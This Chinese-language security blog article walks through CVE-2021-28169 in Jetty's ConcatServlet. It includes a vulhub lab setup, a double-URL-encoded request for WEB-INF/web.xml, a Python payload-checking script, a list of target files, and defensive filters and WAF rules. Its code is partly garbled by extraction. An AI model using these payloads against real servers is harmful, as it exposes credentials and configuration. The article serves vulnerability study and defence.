Jetty 9.4.40 前 ConcatServlet 漏洞实战:双重URL编码绕过与WEB-INF文件读取

📅 发布时间:2026/7/8 0:39:03 👁️ 浏览次数:
Jetty 9.4.40 前 ConcatServlet 漏洞实战:双重URL编码绕过与WEB-INF文件读取
Jetty 9.4.40前ConcatServlet漏洞深度解析双重URL编码绕过与防御实践1. 漏洞背景与原理剖析Jetty作为Eclipse基金会旗下的轻量级Java Web服务器和Servlet容器凭借其高性能和模块化设计在微服务架构和嵌入式场景中广受欢迎。然而2021年曝光的CVE-2021-28169漏洞揭示了其核心组件ConcatServlet和WelcomeFilter存在的安全隐患。漏洞本质源于路径处理过程中的多重解码机制缺陷。当开发者主动启用ConcatServlet用于合并静态资源或WelcomeFilter处理默认欢迎页时攻击者可通过精心构造的URL实现WEB-INF目录穿越。具体技术原理如下双重编码绕过对关键字符如W进行两次URL编码%2557服务器在第一次解码后得到%57即字母W的编码第二次解码才还原为原始字符路径校验失效安全校验层在第一次解码后检查路径合法性而实际文件操作发生在完全解码后导致防护被绕过敏感文件泄露成功利用后可读取WEB-INF/web.xml等配置文件进而获取数据库凭证、API密钥等敏感信息重要提示该漏洞影响Jetty 9.4.40之前的所有版本、10.0.2之前的10.x系列以及11.0.2之前的11.x系列。2. 漏洞环境快速搭建为帮助安全研究人员验证漏洞我们提供两种环境搭建方案2.1 Docker快速部署方案# 拉取漏洞环境镜像 docker pull vulhub/jetty:9.4.39 # 启动容器映射8080端口 docker run -d -p 8080:8080 vulhub/jetty:9.4.39 # 验证服务 curl http://localhost:80802.2 手动构建测试环境若需自定义配置可参考以下步骤依赖安装!-- Maven依赖配置 -- dependency groupIdorg.eclipse.jetty/groupId artifactIdjetty-servlet/artifactId version9.4.39.v20210325/version /dependencyServlet配置示例public class VulnerableApp extends WebAppContext { public VulnerableApp() { setResourceBase(src/main/webapp); setDescriptor(WEB-INF/web.xml); addServlet(ConcatServlet.class, /static/*); } }敏感文件结构webapp/ ├── WEB-INF/ │ ├── web.xml # 主配置文件 │ └── classes/ │ └── config.properties # 数据库配置 └── index.html3. 漏洞利用实战演示3.1 基础利用方式通过双重编码构造恶意请求GET /static?/%2557EB-INF/web.xml HTTP/1.1 Host: vulnerable-server:8080 Accept: */*关键参数说明%2557字母W的双重URL编码%57 → W/staticConcatServlet映射路径需根据实际配置调整3.2 自动化利用脚本Python实现自动化检测import requests from urllib.parse import quote def check_vulnerability(target): payloads [ /%2557EB-INF/web.xml, /%252e%252e/WEB-INF/web.xml, /static?/%u0057EB-INF/web.xml ] for payload in payloads: try: r requests.get(f{target}{payload}, timeout5) if web-app in r.text and xmlns in r.text: return True, payload except Exception as e: continue return False, None3.3 敏感文件读取矩阵成功利用后可获取的文件类型文件路径敏感信息类型风险等级WEB-INF/web.xmlServlet配置、过滤器定义高危WEB-INF/classes/*.properties数据库连接字符串、API密钥严重WEB-INF/lib/*.jar自定义类文件、加密逻辑中高危META-INF/context.xml数据源配置、环境变量高危4. 防御方案与最佳实践4.1 紧急修复方案版本升级Jetty 9.4.40Jetty 10.0.2Jetty 11.0.2临时缓解措施!-- 禁用ConcatServlet -- init-param param-nameallowedPaths/param-name param-value/res/public/param-value /init-param4.2 安全加固建议输入验证强化public class SafePathFilter implements Filter { public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request (HttpServletRequest) req; String path request.getRequestURI(); if (path.contains(WEB-INF) || path.contains(META-INF)) { throw new ServletException(Path traversal attempt detected); } chain.doFilter(req, res); } }安全配置清单禁用不必要的Servlet和Filter设置严格的上下文路径限制启用Jetty的ProtectionDomain安全机制监控与日志# log4j配置示例 appender.console.filter.threshold.type ThresholdFilter appender.console.filter.threshold.level WARN logger.jetty.name org.eclipse.jetty logger.jetty.level DEBUG4.3 长期防护体系建议采用分层防御策略网络层WAF规则配置示例规则SecRule REQUEST_URI contains %25 \ id:10001,phase:1,deny,msg:Double encoding attempt运行时防护启用Java Security Manager使用RASP解决方案监控异常文件访问CI/CD集成# GitHub Actions安全检查示例 - name: Dependency Check uses: dependency-check/actionv1 with: project: Your_Project format: HTML failOnCVSS: 75. 漏洞研究进阶方向对于希望深入理解漏洞机理的安全研究人员建议从以下角度展开编码差异分析比较RFC3986与Jetty实现的URI解析差异研究不同中间件对多重编码的处理逻辑变异Payload测试# 编码变异生成器 def generate_payloads(base): encodings [%25, %u00, ..%00] return [f/{e}{base} for e in encodings]历史漏洞关联CVE-2021-28164初始路径规范化漏洞CVE-2021-34429修复绕过变种在实际渗透测试中我曾遇到一个典型案例某金融系统因使用旧版Jetty导致客户数据泄露。通过双重编码绕过我们成功获取了数据库配置进而发现整个集群存在横向渗透风险。这个教训表明中间件漏洞的影响往往远超表面所见。